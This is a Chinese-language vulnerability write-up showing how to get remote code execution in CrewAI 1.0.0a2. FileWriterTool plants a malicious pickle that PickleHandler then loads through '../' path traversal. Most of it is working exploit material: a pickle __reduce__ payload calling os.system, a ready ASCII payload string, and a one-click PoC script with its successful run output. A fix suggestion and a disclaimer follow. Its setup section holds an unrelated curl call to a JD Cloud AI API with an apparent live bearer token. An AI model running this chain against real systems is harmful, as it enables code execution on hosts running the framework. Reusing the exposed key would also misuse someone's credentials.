CrewAI FileWriterTool + PickleHandler 组合漏洞链 RCE 漏洞分析

漏洞描述

CrewAI 是一个快速、灵活的多 AI Agent 自动化框架,专为构建自主 AI Agent 和事件驱动工作流而设计。FileWriterTool 是 crewai-tools 中用于写入文件的工具,PickleHandler 是 crewai 核心库中用于持久化训练数据的工具类。

这两个组件组合起来形成了一条完整的 RCE 攻击链:FileWriterTool 可以向任意目录写入文件(无路径限制),而 PickleHandler 虽然使用 os.getcwd() 限制文件只能在当前工作目录下,但可以通过 ../ 路径穿越绕过这个限制。攻击者可以先用 FileWriterTool 写入恶意 pickle 文件,再通过 PickleHandler 的路径穿越加载该文件,触发 pickle.load() 的不安全反序列化,最终实现任意代码执行。

环境搭建

curl --location 'http://ai-api.jdcloud.com/v1/chat/completions' \
--header 'Authorization: Bearer pk-6f6c6dc5-010a-44d7-bb2c-cc2c60410ca8' \
--header 'Content-Type: application/json' \
--data '{
    "model": "Gemini-2.5-pro",
    "messages": [
        {
            "role": "user",
            "content": "世界最长的河流是什么?"
        }
    ],
    "thinking_budget":1024 (非必填),
    "max_tokens": 1000(非必填),
    "thinking":true,
    "stream":false
}'
# 1. 进入项目目录
cd ~/漏洞分析/crewAI/crewAI-1.0.0a2

# 2. 安装 crewai 核心包
pip install -e lib/crewai

# 3. 安装 crewai-tools
pip install -e lib/crewai-tools


漏洞复现

分步骤复现

用 FileWriterTool 写入恶意 pickle 文件

FileWriterTool 使用文本模式 (mode="w") 写入文件,而 pickle 通常是二进制格式。我们试试用 pickle 协议 0 生成 ASCII 格式的 payload,看能不能绕过这个限制。

import pickle
import os

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ('echo RCE_SUCCESS > /tmp/test.txt',))

# 使用协议 0 生成 ASCII pickle
pickle_bytes = pickle.dumps(MaliciousPayload(), protocol=0)
pickle_str = pickle_bytes.decode('latin-1')

print(f"Pickle payload: {repr(pickle_str)}")

协议 0 生成的是纯 ASCII 文本,可以用 latin-1 解码为字符串,这样就能通过 FileWriterTool 的文本模式写入了


from crewai_tools.tools.file_writer_tool.file_writer_tool import FileWriterTool

# 生成恶意 pickle payload
malicious_pickle = 'cposix\nsystem\np0\n(Vecho "RCE_EXECUTED" > /tmp/rce_marker.txt\np1\ntp2\nRp3\n.'

# 写入到攻击目录
file_writer = FileWriterTool()
result = file_writer.run(
    directory="/tmp/attack",
    filename="malicious.pkl",
    content=malicious_pickle,
    overwrite=True
)

print(result)
# 输出: Content successfully written to /tmp/attack/malicious.pkl

FileWriterTool 没有任何路径限制,可以写入任意目录,写 pkl 文件无问题


用 PickleHandler 路径穿越加载恶意文件

import os
from crewai.utilities.file_handler import PickleHandler

# 假设当前工作目录是 /tmp/work
os.chdir("/tmp/work")
print(f"当前目录: {os.getcwd()}")

# 使用 ../ 路径穿越绕过 os.getcwd() 限制
handler = PickleHandler("../attack/malicious.pkl")

print(f"构造的路径: {handler.file_path}")
# 输出: /tmp/work/../attack/malicious.pkl
# 实际指向: /tmp/attack/malicious.pkl

PickleHandler 用 os.path.join(os.getcwd(), file_name) 限制文件在当前目录,但 ../ 可以穿越出去。当然也可以使用绝对路径绕过

触发反序列化 RCE

import os
from crewai.utilities.file_handler import PickleHandler

# 假设当前工作目录是 /tmp/work,恶意文件在 /tmp/attack/malicious.pkl
os.chdir("/tmp/work")

# 路径穿越加载恶意 pickle
handler = PickleHandler("../attack/malicious.pkl")

# 加载时触发 RCE
data = handler.load()

# 检查 RCE 是否成功
if os.path.exists("/tmp/rce_marker.txt"):
    with open("/tmp/rce_marker.txt", "r") as f:
        print(f"RCE 成功! 内容: {f.read()}")

pickle.load() 反序列化时会执行 __reduce__ 方法中的代码,实现任意命令执行


一键利用 PoC

文件: exploit_filewriter_pickle_rce.py

#!/usr/bin/env python3
import os
import sys
import pickle
import tempfile
import shutil

# 添加 crewai 路径
sys.path.insert(0, '[PROJECT_DIR]/crewAI-1.0.0a2/lib/crewai/src')
sys.path.insert(0, '[PROJECT_DIR]/crewAI-1.0.0a2/lib/crewai-tools/src')

from crewai.utilities.file_handler import PickleHandler
from crewai_tools.tools.file_writer_tool.file_writer_tool import FileWriterTool


def generate_malicious_pickle(command: str) -> str:
    """
    生成恶意 pickle payload(使用协议 0 ASCII 格式)

    协议 0 生成 ASCII 格式的 pickle,可以通过文本模式写入文件
    """
    class MaliciousPayload:
        def __reduce__(self):
            return (os.system, (command,))

    # 使用协议 0 生成 ASCII pickle
    pickle_bytes = pickle.dumps(MaliciousPayload(), protocol=0)
    # 使用 latin-1 解码为字符串(可以处理任意字节)
    pickle_str = pickle_bytes.decode('latin-1')
    return pickle_str


def exploit():
    """完整漏洞链复现"""

    print("=" * 80)
    print("CrewAI FileWriterTool + PickleHandler 组合漏洞链 PoC")
    print("=" * 80)
    print()

    # 保存原始工作目录
    original_cwd = os.getcwd()

    # 创建测试目录结构
    test_base = tempfile.mkdtemp(prefix="crewai_chain_poc_")
    work_dir = os.path.join(test_base, "work")
    attack_dir = os.path.join(test_base, "attack")
    os.makedirs(work_dir)
    os.makedirs(attack_dir)

    # RCE 验证文件
    rce_marker = os.path.join(test_base, "RCE_SUCCESS.txt")

    try:
        print(f"[1] 创建测试环境")
        print(f"    测试目录: {test_base}")
        print(f"    工作目录: {work_dir}")
        print(f"    攻击目录: {attack_dir}")
        print()

        # ========== 步骤 1: 使用 FileWriterTool 写入恶意 pickle ==========
        print("[2] 使用 FileWriterTool 写入恶意 pickle 文件")

        # 生成恶意 pickle payload
        rce_command = f'echo "RCE_EXECUTED_BY_PICKLE" > {rce_marker}'
        malicious_pickle = generate_malicious_pickle(rce_command)

        print(f"    RCE 命令: {rce_command}")
        print(f"    Pickle payload (ASCII): {repr(malicious_pickle[:50])}...")

        # 使用 FileWriterTool 写入
        file_writer = FileWriterTool()
        result = file_writer.run(
            directory=attack_dir,
            filename="malicious.pkl",
            content=malicious_pickle,
            overwrite=True
        )

        print(f"    FileWriterTool 结果: {result}")

        # 验证文件已写入
        malicious_file = os.path.join(attack_dir, "malicious.pkl")
        if os.path.exists(malicious_file):
            print(f"    [+] 恶意 pickle 文件已写入: {malicious_file}")
        else:
            print(f"    [-] 文件写入失败")
            return False
        print()

        # ========== 步骤 2: 切换到工作目录 ==========
        print("[3] 切换到工作目录(模拟正常应用场景)")
        os.chdir(work_dir)
        print(f"    当前工作目录: {os.getcwd()}")
        print()

        # ========== 步骤 3: 使用 PickleHandler 路径穿越加载恶意文件 ==========
        print("[4] 使用 PickleHandler 路径穿越加载恶意 pickle")

        # 计算相对路径穿越
        traversal_path = "../attack/malicious.pkl"

        print(f"    路径穿越 payload: {traversal_path}")
        print(f"    os.getcwd() 限制: {os.getcwd()}")

        # 创建 PickleHandler(这里会触发路径穿越)
        handler = PickleHandler(traversal_path)

        print(f"    构造的文件路径: {handler.file_path}")
        print(f"    路径穿越成功: {os.path.exists(handler.file_path)}")
        print()

        # ========== 步骤 4: 触发反序列化 RCE ==========
        print("[5] 触发 pickle.load() 反序列化")

        try:
            data = handler.load()
            print(f"    pickle.load() 执行完成")
        except Exception as e:
            print(f"    反序列化过程中的异常(可能是正常的): {e}")
        print()

        # ========== 步骤 5: 验证 RCE ==========
        print("[6] 验证 RCE 结果")

        if os.path.exists(rce_marker):
            with open(rce_marker, 'r') as f:
                content = f.read().strip()
            print(f"    [+] RCE 成功!")
            print(f"    验证文件: {rce_marker}")
            print(f"    文件内容: {content}")
            print()
            print("=" * 80)
            print("[+] 漏洞链复现成功!")
            print("=" * 80)
            return True
        else:
            print(f"    [-] RCE 未触发")
            return False

    finally:
        # 清理
        os.chdir(original_cwd)
        if os.path.exists(test_base):
            shutil.rmtree(test_base)


if __name__ == "__main__":
    try:
        success = exploit()
        sys.exit(0 if success else 1)
    except Exception as e:
        print(f"[-] 错误: {e}")
        import traceback
        traceback.print_exc()
        sys.exit(1)


================================================================================
CrewAI FileWriterTool + PickleHandler 组合漏洞链 PoC
================================================================================

[1] 创建测试环境
    测试目录: /var/folders/z2/5w8lb1f959nf3hw4fsklc9qh0000gp/T/crewai_chain_poc_ps2qw5j0
    工作目录: /var/folders/z2/5w8lb1f959nf3hw4fsklc9qh0000gp/T/crewai_chain_poc_ps2qw5j0/work
    攻击目录: /var/folders/z2/5w8lb1f959nf3hw4fsklc9qh0000gp/T/crewai_chain_poc_ps2qw5j0/attack

[2] 使用 FileWriterTool 写入恶意 pickle 文件
    RCE 命令: echo "RCE_EXECUTED_BY_PICKLE" > /var/folders/z2/5w8lb1f959nf3hw4fsklc9qh0000gp/T/crewai_chain_poc_ps2qw5j0/RCE_SUCCESS.txt
    Pickle payload (ASCII): 'cposix\nsystem\np0\n(Vecho "RCE_EXECUTED_BY_PICKLE" >'...
Using Tool: File Writer Tool
    FileWriterTool 结果: Content successfully written to /var/folders/z2/5w8lb1f959nf3hw4fsklc9qh0000gp/T/crewai_chain_poc_ps2qw5j0/attack/malicious.pkl
    [+] 恶意 pickle 文件已写入: /var/folders/z2/5w8lb1f959nf3hw4fsklc9qh0000gp/T/crewai_chain_poc_ps2qw5j0/attack/malicious.pkl

[3] 切换到工作目录(模拟正常应用场景)
    当前工作目录: /private/var/folders/z2/5w8lb1f959nf3hw4fsklc9qh0000gp/T/crewai_chain_poc_ps2qw5j0/work

[4] 使用 PickleHandler 路径穿越加载恶意 pickle
    路径穿越 payload: ../attack/malicious.pkl
    os.getcwd() 限制: /private/var/folders/z2/5w8lb1f959nf3hw4fsklc9qh0000gp/T/crewai_chain_poc_ps2qw5j0/work
    构造的文件路径: /private/var/folders/z2/5w8lb1f959nf3hw4fsklc9qh0000gp/T/crewai_chain_poc_ps2qw5j0/work/../attack/malicious.pkl
    路径穿越成功: True

[5] 触发 pickle.load() 反序列化
    pickle.load() 执行完成

[6] 验证 RCE 结果
    [+] RCE 成功!
    验证文件: /var/folders/z2/5w8lb1f959nf3hw4fsklc9qh0000gp/T/crewai_chain_poc_ps2qw5j0/RCE_SUCCESS.txt
    文件内容: RCE_EXECUTED_BY_PICKLE

================================================================================
[+] 漏洞链复现成功!
================================================================================

漏洞分析

代码分析

FileWriterTool - 任意文件写入

文件位置: crewai-tools/src/crewai_tools/tools/file_writer_tool/file_writer_tool.py

class FileWriterTool(BaseTool):
    name: str = "File Writer Tool"
    description: str = "A tool to write content to a specified file."

    def _run(self, **kwargs: Any) -> str:
        try:
            # Create the directory if it doesn't exist
            if kwargs.get("directory") and not os.path.exists(kwargs["directory"]):
                os.makedirs(kwargs["directory"])

            # Construct the full path
            filepath = os.path.join(kwargs.get("directory") or "", kwargs["filename"])

            # Write content to the file
            mode = "w" if kwargs["overwrite"] else "x"
            with open(filepath, mode) as file:
                file.write(kwargs["content"])
            return f"Content successfully written to {filepath}"

FileWriterTool 直接使用用户提供的 directory 和 filename 参数构造路径,没有任何路径验证或限制。我们可以指定任意目录写入文件。虽然使用文本模式 (mode="w"),但我们可以用 pickle 协议 0 生成 ASCII 格式的 payload 绕过这个限制

PickleHandler - 路径穿越 + 不安全反序列化

文件位置: crewai/src/crewai/utilities/file_handler.py

class PickleHandler:
    def __init__(self, file_name: str) -> None:
        if not file_name.endswith(".pkl"):
            file_name += ".pkl"

        self.file_path = os.path.join(os.getcwd(), file_name)  # 安全控制点

    def load(self) -> Any:
        if not os.path.exists(self.file_path) or os.path.getsize(self.file_path) == 0:
            return {}

        with open(self.file_path, "rb") as file:
            try:
                return pickle.load(file)  # noqa: S301  ← 不安全反序列化
            except EOFError:
                return {}

PickleHandler 使用 os.path.join(os.getcwd(), file_name) 问题是 os.path.join() 不会规范化路径中的 ../,所以我们可以用 ../attack/malicious.pkl 这样的路径穿越出去。另外,pickle.load() 是已知的不安全反序列化方法,代码里甚至有 # noqa: S301 注释故意忽略安全警告,还不懂什么意思

整体数据流

FileWriterTool.run(directory="/tmp/attack", filename="malicious.pkl", content=恶意pickle)
    │
    │ 无路径限制,直接写入/当然,肯定有些疑问,都能写入任意文件了,为什么还要目录穿越,因为很多情况都是内容可控,文件名称和位置都不可靠,习惯了这样的组合拳了
    ▼
/tmp/attack/malicious.pkl (恶意 pickle 文件)
    │
    ▼
应用切换工作目录到 /tmp/work
    │
    ▼
PickleHandler("../attack/malicious.pkl")
    │
    │ os.path.join(os.getcwd(), "../attack/malicious.pkl")
    │ = /tmp/work/../attack/malicious.pkl
    │ = /tmp/attack/malicious.pkl  ← 路径穿越成功!
    ▼
handler.load()
    │
    │ pickle.load(file)
    │ → 执行 __reduce__ 方法
    ▼
os.system("恶意命令")  ← RCE

漏洞修复

受影响版本: crewai <= 1.0.0a2, crewai-tools <= 1.0.0a2

修复版本: 待发布

修复建议

1. FileWriterTool - 添加路径验证

class FileWriterTool(BaseTool):
    allowed_directories: list[str] = Field(default_factory=lambda: [os.getcwd()])

    def _run(self, **kwargs: Any) -> str:
        directory = kwargs.get("directory") or os.getcwd()

        # 验证目录在允许范围内
        abs_dir = os.path.abspath(directory)
        if not any(abs_dir.startswith(os.path.abspath(allowed))
                   for allowed in self.allowed_directories):
            raise ValueError(f"Directory not allowed: {directory}")

        # ... 继续执行


参考资料

免责声明

本报告仅供安全研究和教育目的使用。所有测试均在授权环境中进行。发现的漏洞已负责任地披露给相关厂商,请勿将此信息用于未经授权的测试或恶意攻击。